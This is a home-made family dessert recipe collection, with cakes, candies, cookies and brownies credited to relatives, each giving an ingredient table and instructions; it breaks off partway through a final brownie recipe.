Dessert

Recipe from: Rose Paulding

Cake

Very yummy, light, dessert

Serves: 8 **Time-- Preparation:** 0 **Temperature:** 0
Season: BBQ **Cooking:** 0 Bake

QTY.	MEAS.	PREP.	INGREDIENTS
5	cup	bite size pieces	Angel Food Cake
1	pkg	instant	vanilla pudding
2	cup		vanilla ice cream
1	3 oz pkg		stawberry jello
0.75	cup	boiling	water
1	10 oz pkg	frozen/sliced	strawberries

Instructions:

Tear a baked, unsliced Angel Food cake. Measure 5 cups after it is torn. Place in 9 by 9 by 2 inch baking dish. In a mixing bowl, combine pudding and milk. Add pint of vanilla ice cream. Beat until well blended and smooth. Spoon over the cake pieces. Refrigerate while preparing the strawberry layer. Stir the 3/4 cup boiling water into Jell-O until well dissolved. Add berries, breaking them up with a fork. As berries thaw the Jell-O thickens. When partially thick, spoon over pudding to cover. Do not stir mixture. Refrigerate until set.

Banana Split Cake

Dessert

Recipe from: Rose Paulding

Cake

Serves: **Time-- Preparation:** 0 **Temperature:** 0**Season:** Everyday **Cooking:** 0 Refrigerate

QTY.	MEAS.	PREP.	INGREDIENTS
2	cup		graham cracker crumbs
6	tbl	melted	butter
2	cup		powdered sugar
1	stick		margarine
2			eggs
1	tsp		vanilla
3			bananas
1	med can	crushed	pineapple
1	large	container	cool whip
			ground nuts
			maraschino cherries

Instructions:

Mix together 2 cups graham cracker crumbs and 6 tablespoons melted butter. Put in 9 by 13 inch dish. Beat 2 cups of powdered sugar and 1 stick margarine at room temperature, together. Add 2 eggs and beat until light and fluffy. Add 1 teaspoon vanilla. Beat again to mix. Spread evenly over crumbs in dish. Slice 3 bananas length-wise and place on top of pudding layer. Drain 1 medium can of crushed pineapple and spread over bananas. Spread Cool Whip over all evenly and sprinkle ground nuts on top and dot with Maraschino cherries. No baking, refrigerate over night.

Apple Cake

Dessert

Recipe from: Sue Paulding

Cake

Gopher Glenn

Serves: *Time-- Preparation:* 1 hour **Temperature:** 350
Season: Everyday **Cooking:** 35 min Warm

QTY.	MEAS.	PREP.	INGREDIENTS
1	cup		sugar
0.25	cup		oil
1	cup		flour
1	tsp		cinnamon
1	tsp		baking soda
0.25	tsp		salt
1	tsp		vanilla
1	cup	chopped	walnuts
2	cup	sliced/peeled	apples
1		beaten	egg

Instructions:

Mix together all but apples and egg. Then add apples and egg. Pour into 9 by 9 greased baking pan. Cook at 350 for 15 minutes and then 325 for 20 minutes. Yummy unfrosted served with ice cream.

Apple Cake

Coffee Cake

Dessert

Recipe from: Gwen Powell

Cake

Light and easy.

Serves: *Time-- Preparation:* **Temperature:** 350
Season: Everyday **Cooking:** 45 min Warm

QTY.	MEAS.	PREP.	INGREDIENTS
1	cup		butter or margarine cream with
1	cup		sugar
2			eggs
1	tsp		vanilla
2	cup		flour
1	tsp		baking powder
1	tsp		baking soda
0.5	tsp		salt
1	cup		sour cream
0.33	cup	(Filling)	brown sugar
0.25	cup	(Filling)	sugar
1	tsp	(Filling)	cinnamon
1	cup	(filling)	chopped nuts

Instructions:

Use standard procedures to make cake batter. Pour one-half of the cake batter in greased 9 by 13 cake pan. Sprinkle half of the cinnamon mixture over and then remaining cake batter, then remaining cinnamon mixture. Bake at 350 about 45 minutes.

Coffee Cake

Lemon Cake

Dessert

Recipe from: Karen and Michelle Rivas

Cake

Karen and Michelle's Lemon Cake

Serves: **Time-- Preparation:** 10 min **Temperature:** 350
Season: Everyday **Cooking:** 35 min Warm

QTY.	MEAS.	PREP.	INGREDIENTS
1	box		lemon cake mix
1	small		lemon Jell-O
0.75	cup		oil
0.75	cup		water
4			eggs (add one at a time)
2	cups		powdered sugar for glaze
2			lemons, juiced for glaze

Instructions:

Mix first 5 ingredients, adding eggs one at a time. Pour into 9 by 12 inch pan that is greased and floured. Bake at 350 for 35 minutes. Poke with Fork and let cool.

Glaze: Blend 2 cups powdered sugar with the juice of 2 lemons. Pour over cake.

Lemon Cake

Funnel Cake

Dessert

Recipe from: Gwen Powell

Cake

Inspired by Steve Powell

Serves: 4 **Time-- Preparation:** 5 min **Temperature:** 325
Season: Everyday **Cooking:** 1 min Fry

QTY.	MEAS.	PREP.	INGREDIENTS
1	cup		Flour
0.75	cup		milk
1	tsp		baking powder
1	tsp		almond extract
1		large	egg
4	tbl		powdered sugar

Instructions:

Preheat Crisco in deep pan to 325 or medium heat. Use about an inch of oil in the pan. In a bowl mix all of the ingredients with a whip. Using a narrow spouted funnel (1/2 inch), close spout with finger-- pour batter in funnel. Over hot oil, remove finger to let batter run out in a stream, while making a spiral to desired size. Fry until golden, turning once. Drain on paper towel. Keep warm. Sprinkle the top with powdered sugar or top with fresh fruit and whip cream.

Funnel Cake

White Texas Sheet Cake

Dessert

Recipe from: Judy Powell

Cake

Almond flavored cake

Serves: 16-20 bars **Time-- Preparation:** 15 min **Temperature:** 375**Season:** Holiday **Cooking:** 20-22 min Warm

QTY.	MEAS.	PREP.	INGREDIENTS
1	cup		butter or margarine
1	cup		water
2	cup		all-purpose flour
2	cup		sugar
2		beaten	eggs
0.5	cup		sour cream
1	tsp		almond extract
1	tsp		salt
1	tsp		baking soda
0.5	cup	(Frosting)	butter or margarine
0.25	cup		milk
4.5	cup		confectioners' sugar
0.5	tsp		almond extract
1	cup	chopped	walnuts

Instructions:

In a large saucepan, bring butter and water to a boil. Remove from the heat, stir in flour, sugar, eggs, sour cream, almond extract, salt and baking soda until smooth. Pour into a greased 15 in x 10 inch by 1 in baking pan. Bake at 365 degrees for 20-22 minutes or until cake is golden brown and tests done. Cool for 20 minutes. Meanwhile, for frosting, combine butter and milk in a saucepan. Bring to a boil. Remove from the heat; add sugar and extract and mix well. Stir in walnuts, spread over warm cake.

White Texas Sheet Cake

Dessert

Recipe from: Judy Powell

Cake

This cake gets better the longer it sits, so try to make it a day ahead. My mother-in-law introduced this deliciously rich cake to me. With its creamy frosting and light almond flavor, no one can stop at just one piece!

Serves: 16 **Time-- Preparation:** 15 **Temperature:** 375
Season: Christmas **Cooking:** 20 Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1	cup		butter
1	cup		water
2	cups		all-purpose flour
2	cups		sugar
2		beaten	eggs
0.5	cup		sour cream
1	tsp		almond extract
1	tsp		baking soda
1	tsp		salt
0.5	cup		butter for Frosting
0.25	cup		milk for Frosting
4.5	cups		confectioner's sugar for Frosting
0.5	tsp		almond extract for Frosting
1	cup	chopped	walnuts

Instructions:

In a large saucepan, bring butter and water to a boil. Remove from the heat; stir in the flour, sugar, eggs, sour cream, almond extract, baking soda and salt until smooth.

Pour into a greased 15-in. x 10-in. x 1-in. baking pan. Bake at 375 degrees F for 20 to 22 minutes or until a toothpick inserted near the center comes out clean and cake is golden brown. Cool for 20 minutes.

For frosting, in a large saucepan, combine butter and milk. Bring to a boil. Remove from the heat; stir in sugar and extract. Stir in walnuts; spread over warm cake.

Fudge

Dessert

Recipe from: Gwen Powell

Candy

Very easy fudge from Eagle Brand Milk (or use any sweetened condensed milk).

Serves: 10 **Time-- Preparation:** 10 min **Temperature:** low**Season:** BBQ **Cooking:** 10 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
3			(6-ounce) packages Semi-Sweet Chocolate
1	can		(14-ounce) can Eagle Brand Milk
1	dash		Dash of salt
1.5	tsp		teaspoons vanilla extract
0.5	cup		cup chopped nuts

Instructions:

In heavy saucepan, over low heat, melt morsels with Eagle Brand. Remove from heat; stir in remaining ingredients. Spread evenly into wax paper-lined 8-inch square pan. Chill 2 to 3 hours or until firm. Turn fudge onto cutting board; peel off paper and cut into squares. Store tightly covered at room temperature. <p>This is even better if really high quality chocolate is used.</p><p>For variations use milk chocolate, white chocolate or a mix of different chocolates.
You can make a batch of white, milk and dark at the same time and swirl them together before they set.</p><p>For the holidays, add peppermint extract instead of vanilla. I use almond extract most the time.

Fudge

Toffee

Dessert

Recipe from: Sue Paulding

Candy

Serves: *Time--* **Preparation:** 1 hour **Temperature:** 0**Season:** Everyday **Cooking:** 1 hour **Simmer**

QTY.	MEAS.	PREP.	INGREDIENTS
0.5	pound		butter
0.5	pound		margarine
2.5	cup		sugar
4	tbl		water
2	cup	chopped	unroasted almonds
1	pound		chocolate
1	cup	chopped	walnuts

Instructions:

Put butter/margarine in heavy pan, heat until bubbling, but not brown. Add sugar, water and almonds. Cook over medium heat to hard crack stage, almonds should be light brown and toasted through. Pour into buttered cookie sheet and let harden in refrigerator for 30 minutes.

Melt 1/2 pound of chocolate and spread over top of candy and sprinkle with chopped nuts. Reset in the refrigerator. for 10 minutes remove from cookie sheet and repeat chocolate and nuts on other side. Let harden 1 hour before cutting.

Toffee

Almond Brittle

Dessert

Recipe from: Sue Paulding

Candy

Aunt Sue's Brittle Almond

Serves: 1 1/2 pounds **Time-- Preparation:** 0 **Temperature:** 300**Season:** BBQ **Cooking:** 0 Bake

QTY.	MEAS.	PREP.	INGREDIENTS
2	cup	c	sugar
0.33	cup		light corn syrup
0.66	cup		butter or margarine
1	tsp		vanilla
0.5	tsp		baking soda
1.5	cup	diced	roasted almonds

Instructions:

Combine sugar, syrup, water and butter, and cook and stir until sugar is dissolved. Continue cooking without stirring to 300 degrees or when syrup separates into hard brittle threads when dropped into cold water. Remove from heat and stir in vanilla, soda and almonds. Pour onto greased cookie sheet. When slightly cool, pull edges to make a thin sheet. When thoroughly cool break into pieces.

Microwave Peanut Brittle

Dessert

Recipe from: Sue Paulding

Candy

Serves: *Time--* **Preparation:** 0 **Temperature:** high**Season:** Everyday **Cooking:** 0 Microwave

QTY.	MEAS.	PREP.	INGREDIENTS
1	cup		sugar
0.5	cup	light	corn syrup
1	tsp		butter
1	tsp		vanilla
1	tsp		baking soda
1	cup		peanuts

Instructions:

In a 2 quart glass bowl combine sugar and syrup and stir. Cook on high for 4 minutes. Add peanuts and stir well. Cook at high for 3 1/2 minutes. Add butter and vanilla, stir well. Cook at high for 1 1/2 minutes. Add soda, stir gentle until light and foamy. Immediately pour mix onto buttered cookie sheet. Spread thin and cool. Break into small pieces.

Do not double!

Buttery Cooky Brittle

Dessert

Recipe from: Sue Paulding

Candy

Serves: 36 pieces **Time-- Preparation:** 0 **Temperature:** 375**Season:** Everyday **Cooking:** 15-20 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
0.5	cup	(1/4 pound)	butter or margarine (room temp)
0.75	tsp		vanilla
1	cup		flour
0.5	cup		sugar
			sugar
1	pkg	(6 oz)	almond brittle chips

Instructions:

In large bowl of electric mixer, beat together butter and vanilla until fluffy. Blend in the flour and sugar, then stir in the brittle chips (mixture will be quite crumbly).

Pour mixture into an ungreased 9 by 13 inch pan and spread in an even layer. Lay a piece of waxed paper on top and press firmly to pack crumbs evenly. Discard the waxed paper.

Bake in a 375 degree oven until golden around the edges, 15-20 minutes. Cool in pan about 10 minutes, then loosen brittle with a wide spatula and turn out onto a wire rack to cool completely. Break into pieces. Serve, or store airtight at room temperature up to 2 days; freeze for longer storage.

Toffee

Dessert

Recipe from: Gwen Powell

Candy

Serves: *Time--* **Preparation:** 15 min **Temperature:** 0**Season:** Everyday **Cooking:** 7 min **Boil**

QTY.	MEAS.	PREP.	INGREDIENTS
1	cup	chopped	pecans or other nut
0.75	cup	packed	brown sugar
0.5	cup		butter or margarine (regular, not low fat)
0.5	cup		semisweet chocolate chips

Instructions:

Butter square pan. Spread pecans in pan. Heat sugar and butter to boiling, stirring constantly. Boil over medium heat, stirring constantly for 7 minutes (do not burn or overcook). If undercooked the toffee will have a grainy texture. Immediately spread mixture evenly over nuts in pan.

Sprinkle chocolate pieces over hot mixture; place baking sheet over pan to contain heat to melt chocolate. Spread melted chocolate over candy. While hot, cut into squares. Chill until firm. If you forgot to cut into squares when hot, you will have to break the toffee up. Store in airtight container.

Toffee

PORT CHOCOLATE TRUFFLE RECIPE

Dessert

Recipe from: Gwen Powell

Candy

Basic truffle recipe. Substitute your favorite flavor for the Port such as vanilla or almond

Serves: **Time-- Preparation:** 0 **Temperature:** 0

Season: Everyday **Cooking:** 0

QTY.	MEAS.	PREP.	INGREDIENTS
8	0z	chopped	semi-sweet (Giradelli's)
0.5	cup		Heavy whipping cream
0.25	cup		unsalted butter
2	tsp		Port or Zinfindel

Instructions:

Place whipping cream and chocolate in a heavy saucepan over low heat and stir occasionally until chocolate melts. Add butter and continue stirring until butter is melted. Remove from heat and let cool to room temperature. Add liquer or vanilla (or nothing! Works this way also). Let sit in refrigerator until hard (about eight hours or so). Dig out by the teaspoon and form into balls, then roll in finely chopped nuts (ground almonds are heavenly), cocoa, icing sugar, or coconut or dip in chocolate. Makes 36-48.

Polka Daters

Dessert

Recipe from: Judy Powell

Cookies

Rich brownie like dessert

Serves: *Time-- Preparation:* 15 min **Temperature:** 350
Season: Everyday **Cooking:** 30 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1.25	cup	chopped	nuts
1	cup	boiling	water
1	cup		butter
1.25	cup		sugar
2			eggs
1.75	cup		flour
1.5	tsp		baking soda
1	tsp		vanilla
6	oz		Chocolate chips

Instructions:

Mix dates in boiling water then cool. Beat butter, sugar and eggs. Stir in flour and baking soda. Stir in dates, vanilla and 1/2 of the chocolate chips. Top with other 1/2 of chocolate chips and the nuts. Pour into 9 in square baking pan. Bake at 350 for 30 minutes.

Polka Daters

Brownies

Dessert

Recipe from: Gwen Powell

Cookies

Simple brownies that taste great.v

Serves: 1 dozen **Time-- Preparation:** 5 min **Temperature:** 350

Season: Everyday **Cooking:** 45 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1	tub		Betty Crocker Sour Cream Choc Fudge Frosting
3			eggs
0.25	cup		oil
1.25	cup		water
1.33	cup		flour
1	cup		nuts
1	cup		chocolate chips
0.75	cup	powdered	sugar

Instructions:

Mix frosting mix, eggs, oil and water. Set aside 3/4 cup for use in frosting. From rest add flour, nuts and chocolate chips. Pour into greased 8 or 9 inch square pan. Bake at 350 degrees for 45 minutes. Do not overcook.

With remaining mixture--add sugar and frost baked brownies.

Brownies

Swedish Toscas

Dessert

Recipe from: Naomi Luby

Cookies

Almond flavored confection.

Serves: 12 **Time-- Preparation:** 30 min **Temperature:** 350
Season: Holiday **Cooking:** 20-25 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
8	tbl		butter
0.5	cup		sugar
1	cup		flour
0.33	cup	blanched	almonds (slivered)
1.5	tbl		cream

Instructions:

Cream the 6 tablespoons of butter and 1/4 cup of sugar together. Blend in 1 cup of flour. Divide and place in 12 small ungreased muffin cups. Press into bottom and half way up the cups. Bake for 10 minutes at 350.

Combine the almonds 1/4 cup of sugar, 2 tbl of butter, cream and 2 tsp of flour in saucepan. cook over high heat, stirring constantly until mixture boils. Remove from heat. Divide into partially baked cookie shells. Bake at 350 for 10 to 15 minutes until light brown. Cool and remove carefully.

Hershey Kiss Cookies

Dessert

Recipe from: Judy Powell

Cookies

Hershey Kiss Cookies

Serves: 36 cookies **Time-- Preparation:** 15 min **Temperature:** 375

Season: Holiday **Cooking:** 8 min/2 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
2	cup		flour
1			egg
0.5	cup		Peanut Butter
36			Hershey Kisses
1.25	cup	packed	light brown sugar--or 50/50 with regular
0.5	tsp		salt
1	tsp		baking soda
0.5	cup		butter
1	tsp		vanilla

Instructions:

Combine peanut butter, butter, brown sugar and vanilla in large bowl. Beat at medium speed of electric mixer until well blended. Add egg and beat just until blended. Combine flour, salt and baking soda in separate bowl. Add to creamed mixture at low speed. Mix until blended. Form into 36 balls and roll in sugar and place 2 inches apart on cookie sheet. Look at 375 for about 8 minutes. Take out of oven and press a kiss in the center of each ball.

As a great change--use almond butter and skip the kisses. Roll in nuts, chocolate or sugar.

Mrs. Field's \$500 Chocolate Chip Cookies

Dessert

Recipe from: Mrs. Field's

Cookies

Mrs. Field's Chocolate Chip cookies--contributed by Sue Paulding

Serves: Lots **Time-- Preparation:** 15 min **Temperature:** 350**Season:** Everyday **Cooking:** 10-15 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1	pound		butter (not margarine)
16	ounce	package	dark brown sugar
1.5	cup		sugar
2	tbl		vanilla
3			eggs
6	cup		flour
1.5	tsp		salt
1.5	tsp		baking soda
16	ounce	package	chocolate chips
2	cup	chopped	nuts (optional)

Instructions:

Cream butter, brown sugar and sugar together. Add vanilla and eggs and beat with mixer for 3 minutes. Add flour, salt and soda. Mix together. Stir in chocolate chips and nuts. Put spoonfuls of dough on a sheet of aluminum foil (this is important . . . don't forget the foil) on a cookie sheet. Flatten cookies before baking. Bake at 350 for 10 to 15 minutes.

Rich Rolleo Cookies

Dessert

Recipe from: Sue Paulding

Cookies

From the Joy of Cooking

Serves: *Time-- Preparation:* 3-4 hours **Temperature:** 350

Season: Everyday **Cooking:** 8-10 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1	cup		butter
0.66	cup		sugar
1	tsp		vanilla
2.5	cup	sifted	flour
0.5	tsp		salt

Instructions:

Cream together butter, sugar and vanilla. Combine and add flour and salt. Refrigerate 3-4 hours before cooking.

Mrs. Field's Cookies

Dessert

Recipe from: Sue Paulding

Cookies

Mrs. Field must be a good friend of Sue. Loan

Serves: 5-6 dozen **Time-- Preparation:** 15 min **Temperature:** 375**Season:** Everyday **Cooking:** 10 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
2	cup		butter or margarine
2	cup		sugar
2	cup		brown sugar
4			eggs
2	tsp		vanilla
4	cup		flour
5	cup		oatmeal
1	tsp		salt
2	tsp		baking soda
2	tsp		baking powder
24	ounce	package	chocolate chips
8	ounce	bar	hershey's (grated)
3	cup		nuts (optional)

Instructions:

Cream together butter, sugar and brown sugar, add eggs and vanilla. Mix together flour, oatmeal, salt, soda, powder. Mix all together. Add 24 oz. chocolate chips, grated plain Hershey bar, chopped nuts (optional). Make golf ball size cookies two inches apart. Bake on ungreased cookie sheet. Bake for 10 minutes.

Gwen's Ghiradelli Chocolate Chip Cookies

Dessert

Recipe from: Gwen Powell

Cookies

Ghiradelli Chocolate Chip Cookie recipe with a Gwen flavor.

Serves: 3 dozen **Time-- Preparation:** 15 min **Temperature:** 375

Season: Everyday **Cooking:** 10 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
2	sticks	softened	butter
0.5	cup		sugar
1	cup	packed	brown sugar
2			eggs
2	tsp		vanilla
2.25	cup		flour
1	tsp		baking soda
0.25	tsp		salt
1	cup	sliced	almonds (or substitute walnuts/pecans)
1.5	cup		semi sweet chocolate chips
1	cup		white chocolate chips

Instructions:

Preheat oven to 375. Cream sugar, brown sugar, eggs and vanilla in a large mixing bowl. By hand mix in baking soda, salt and slowly mix in flour. Stir in nuts and chips. Drop big tablespoonsful onto ungreased cookie sheet. Bake for about 10 minutes. Do not overcook. Keep rest of dough in refrigerator while others are cooking. Place in sealed container when still warm. Eat within 2 days. Go on a diet within a week.

Chinese Almond Cakes

Dessert

Recipe from: Naomi Luby

Cookies

Serves: 4 dozen**Time-- Preparation:** 30 min**Temperature:** 375**Season:** Easter**Cooking:** 15 min

Bake

QTY.	MEAS.	PREP.	INGREDIENTS
2.5	cup	sifted	flour
1	tsp		baking powder
0.25	tsp		salt
2			eggs
0.75	cup		sugar
0.66	cup		oil
1	tbl		orange juice
2	tsp		almond extract
1	tsp		vanilla
1	tbl		water
48		blanched	almonds

Instructions:

Sift together flour, baking powder, salt. Beat one egg well then beat in sugar a little at a time. Blend oil, orange juice, almond extract and vanilla. Gradually beat into sugar mixture until well blended. Beat in 1/2 of flour, mix well then mix in remaining flour mixture. Knead lightly until smooth (dough should be stiff) Shape into 1 inch balls and place on greased cookie sheet. Flatten. Beat remaining egg slightly, combine with water and brush over top of cookies. Press an almond into the center and brush again. Bake at 375 for 15 minutes.

Almond Refrigerator Cookies

Dessert

Recipe from: Sue Paulding

Cookies

Serves: 6 dozen **Time-- Preparation:** 0 **Temperature:** 350**Season:** Everyday **Cooking:** 15 minutes Bake

QTY.	MEAS.	PREP.	INGREDIENTS
2.15	cup		flour
1	cup		sugar
1	cup		softened margarine
1.5	tsp		double-acting baking powder
1	tsp		almond extract
0.5	tsp		salt
1			egg
1	4 oz	can	blanched slivered almonds, chopped

Instructions:

About 4 1/2 hours before serving or up to 2 weeks ahead:

Into large bowl, measure all ingredients except almonds. With mixer at low speed, beat ingredients until well blended, occasionally scraping bowl with rubber spatula. Stir in almonds. With hands, roll dough into three 6 inch long rolls. Wrap each roll with plastic wrap. Refrigerate rolls three hours or until firm enough to slice (keeps up to two weeks).

To Bake:

Preheat oven to 350. Slice one roll of dough crosswise into 1/4 inch slices. Place slices 1 inch apart, on ungreased large cookie sheet. Bake 15 minutes or until lightly browned. With pancake turner, remove remaining dough. Store cookies in tightly covered container to use up within two weeks.

Yummy Oatmeal Raisin Cookies

Dessert

Recipe from: Sue Paulding

Cookies

Serves: 5 dozen **Time-- Preparation:** 0 **Temperature:** 375**Season:** Everyday **Cooking:** 10-15 minutes Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1	cup		sugar
1	cup	packed	brown sugar
1	cup		shortening
2			eggs
1	tsp		vanilla
3	cup		quick oats
1.5	tsp		baking soda
1	tsp		cinnamon
0.5	tsp		salt
0.5	cup		Raisins

Instructions:

Cream together the sugars and shortening. Add eggs and vanilla; beat until smooth. In another bowl mix rest of ingredients (including raisins). Add a little at a time to the sugar mixture until all is blended. Roll into small balls and put on a greased cookie sheet. Bake in a 375 degree oven for 10 to 15 minutes. Cool slightly before removing from pan.

Almond Cookies

Dessert

Recipe from: Sue Paulding

Cookies

These almond cookies are better than served anywhere!

Serves: 5 dozen **Time-- Preparation:** 0 **Temperature:** 350
Season: BBQ **Cooking:** 10-12 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1	cup		lard or shortening
0.5	cup	gg	sugar
0.25	cup		brown sugar
1			egg
1	tsp		almond extract
2.25	cup		flour
0.15	tsp		salt
1.5	tsp		baking powder
5	dozen		almonds
1			egg yolk
2	tbl		water

Instructions:

Cream lard and sugars until fluffy; add egg and extract and beat until well blended. Place 1 tablespoon of mixture into balls and press on cookie sheet. Press almond in center. beat egg yolk and water and brush mixture over top of each cookie. Bake in 350 degree oven until browned.

Snowballs

Dessert

Recipe from: Naomi Luby

Cookies

Also known as Mexican wedding cakes or Russian Tea Cakes. These melt in your mouth.

Serves: *Time-- Preparation:* 20 min **Temperature:** 325

Season: Holiday **Cooking:** 20 min Warm

QTY.	MEAS.	PREP.	INGREDIENTS
0.5	cup	(1 stick)	margarine
3	tbl		powdered sugar
1	cup	sifted	flour
1	cup	chopped	pecans
			powdered sugar for rolling in

Instructions:

Cream margarine and sugar, stir in flour then pecans until well blended. Chill until firm enough to handle. Roll into balls, bake on ungreased cookie sheet until golden--about 20 minutes. Roll in powdered sugar and store in container with tight fitting cover.

Snowballs

Thumbprint Cookies

Dessert

Recipe from: Gwen Powell

Cookies

Best with red currant jelly in the center.

Serves: 3 dozen **Time-- Preparation:** 0 **Temperature:** 350

Season: Holiday **Cooking:** 10 min Warm

QTY.	MEAS.	PREP.	INGREDIENTS
0.25	cup	softened	butter or margarine
0.25	cup		shortening
0.25	cup	packed	brown sugar
1		separated	egg
0.5	tsp		vanilla
1	cup		flour
0.25	tsp		salt
0.75	cup	finely chopped	walnuts
			jelly

Instructions:

Heat oven to 350. Mix thoroughly butter, shortening, sugar, egg yolk and vanilla. Work in flour and salt until dough holds together. Shape dough by teaspoonfuls into 1 inch balls.

eat egg white slightly. Dip each ball into egg white, roll in nuts. Place 1 inch apart on ungreased baking sheet; press thumb deeply into center of each. Bake about 10 minutes or until light brown. Immediately remove from baking sheet and cool. Fill thumbprints with red and green jelly for the holidays. Tart jelly is best!

Oatmeal Cookies

Dessert

Recipe from: Lisa Powell

Cookies

Serves: *Time--* Preparation: 0 **Temperature:** 350**Season:** Everyday **Cooking:** 10-20 min Warm

QTY.	MEAS.	PREP.	INGREDIENTS
2	cup		flour
0.5	tsp		salt
0.5	tsp		cinnamon
1	tsp		baking powder
1.25	cup		raisins
1.33	cup		butter
1.25	cup		sugar
0.75	cup	packed	brown sugar
2	large		eggs
2	tbl		water
0.5	tsp		vanilla
2.5	cup		rolled oats

Instructions:

Cream together sugars, eggs, butter, vanilla and water. Mix all dry ingredients except oats together. Mix dry and creamed ingredients together. Stir in oats then raisins. Drop on ungreased cookie sheet and bake. Do not overcook. Let sit a few minutes before removing from cookie sheet. Cool on wire racks.

Spritz Cookies

Dessert

Recipe from: Gwen Powell

Cookies

Best with red currant jelly in the center.

Serves: 5 dozen **Time-- Preparation:** 0 **Temperature:** 350
Season: Holiday **Cooking:** 12-15 min Warm

QTY.	MEAS.	PREP.	INGREDIENTS
0.5	cup		shortening
0.75	cup		sugar
1			egg
1	tsp		vanilla
2.25	cup		flour
0.5	tsp		baking powder
0.25	tsp		salt
0.5	cup		butter

Instructions:

Cream shortening and butter in a medium mixing bowl; gradually add sugar, beating until light and fluffy. Add egg and vanilla, beating well. Sift together flour, baking powder, and salt in a medium mixing bowl; add to creamed mixture, stirring well. Press dough from a cookie press 2 inches apart onto ungreased cookie sheets, using desired shaping discs. Bake at 350 for 12 to 15 minutes. Remove to wire racks to cool.

My favorite is to use almond extract instead of vanilla and a few drops of green food coloring. I use the tree shaped disc. Before baking I sprinkle the little round/colored decorations on top. Another favorite is to use a little peppermint extract, then the flower shaped disk and press a piece of peppermint candy into the center of each cookie before baking.

Carolyn's Chocolate Chip Cookies

Dessert

Recipe from: Carolyn Lokkart

Cookies

Serves: 24 cookies**Time-- Preparation:** 0**Temperature:** 350**Season:** Everyday**Cooking:** 12 minutes

Warm

QTY.	MEAS.	PREP.	INGREDIENTS
1	pound		butter
1	pound		dark brown sugar
1.5	cup		sugar
2	tbl		vanilla
3			eggs
6	cup		flour
1.5	tsp		salt
1.5	tsp		Baking soda

Instructions:

Cream butter and sugar; add vanilla and eggs. Sift flour salt and baking soda together and add to cream mixture. Drop onto ungreased cookie sheet and bake for 12 minutes at 350 degrees.

Peanut Butter Hershey Kiss Cookies

Dessert

Recipe from: Linda Lokkart

Cookies

Serves: *Time--* Preparation: 0 **Temperature:** 350**Season:** Everyday **Cooking:** 12 min Warm

QTY.	MEAS.	PREP.	INGREDIENTS
1	pound		butter
16	oz		dark brown sugar
1.5	cup		sugar
2	tbl		vanilla
3			eggs
2	cup		smooth peanut butter
6	cup		flour
1.5	tsp		salt
1.5	tsp		baking soda
1	pkg	unwrapped	Hershey Kiss candies

Instructions:

Cream together butter, sugar, vanilla, eggs and peanut butter. Sift and add to creamed mixture the flour, salt and baking soda. Roll into ball and flatten slightly on ungreased cookie sheet. Bake for 12 minutes until set. Immediately push a Hershey Kiss into the center of each cookie. Cool and remove from cookie sheet.

Almond White Chocolate Cookies

Dessert

Recipe from: Carolyn Lokkart

Cookies

Almond white chocolate cookies that are sinfull

Serves: 2 doz **Time-- Preparation:** 15 min **Temperature:** 350

Season: Everyday **Cooking:** 12 min Warm

QTY.	MEAS.	PREP.	INGREDIENTS
1	lb	softened	Butter or Imperial Margerine only
16	oz		Dark brown sugar
1.5	cup		sugar
1	tbsp		almond extract
1	tbsp		vanilla extract
6	cups		white flour
1.5	tsp		salt
1.5	tsp		baking soda
1	pkg		white chocolate chips

Instructions:

Cream together the butter, sugar, almond extract and vanilla untill smooth. Sift together the dry ingredients. Mix the creamed and dry ingredients together and drop onto cookie sheet. Bake.

Basic Brownies

Dessert

Recipe from: The Dailybreeze

Cookies

Easy Basic Brownies

Serves: 16 brownies **Time-- Preparation:** 10 min **Temperature:** 350

Season: Everyday **Cooking:** 22-27 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
3	oz	chopped	unsweetened chocolate
8	TBLS	chunked	unsalted butter (1 stick)
1	cup		sugar
0.5	tsp		baking powder
0.25	tsp		salt
2			large eggs
1	tsp		vanilla extract
0.66	cup		all purpose flour

Instructions:

Adjust oven rack to middle position and heat oven to 350 degrees. Line 8-inch baking dish with foil and coat foil with cooking spray.

Melt chocolate and butter in small bowl in microwave or in oven-proof bowl set over pan of simmering water, stirring occasionally to combine. Cool mixture for several minutes.

Whisk sugar, baking powder, salt, eggs and vanilla together in medium bowl until combined, about 15 seconds. Whisk in chocolate mixture until smooth.

Stir in flour until no streaks of flour remain. Scrape batter evenly into prepared pan.

Bake until toothpick inserted halfway between edge and center of pan comes out clean, 22 to 27 minutes. Cool brownies on wire rack to room temperature, about 2 hours. Using foil, lift brownies from pan to cutting board. Slide foil out from under brownies and cut brownies into 2-inch squares. (Brownies can be stored in an airtight container for several days.)

Yields 16 brownies.

Basic Brownies

PECAN PIE BROWNIES

Dessert

Recipe from: Gwen Powell

Cookies

A variation of Basic Brownie

Serves: 16 brownies **Time-- Preparation:** 10 min **Temperature:** 350

Season: Everyday **Cooking:** 22-25 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1			Basic Brownie recipe
0.5	cup	coarsely choppe	pecans
0.33	cup	packed	dark brown sugar
4	TBLS		unsalted butter
2	TBLS		corn syrup

Instructions:

Prepare Basic Brownies as directed, sprinkling pecans over batter just before placing pan in oven. Bake and cool as directed.

Bring brown sugar, butter and corn syrup to a simmer in a small saucepan over medium heat. Cook until sugar dissolves and mixture is smooth, 1 to 2 minutes. <p>

Remove pan from heat and cool until barely warm, about 10 minutes. Pour caramel mixture over brownies and spread evenly with spatula.

Refrigerate until topping firms up, about 40 minutes. Cut the brownies as directed.

Yields 16 brownies.

KATE'S FAMOUS BROWNIES

Dessert

Recipe from: Katherine Hepburn

Cookies

This shows up in every stack of recipes handed into me.

Serves: Not enough! **Time-- Preparation:** 10 min **Temperature:** 325

Season: Everyday **Cooking:** 40-45 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
2	squares		unsweetened chocolate
8	TBLS		butter (1 stick)
1	cup		sugar
2			eggs
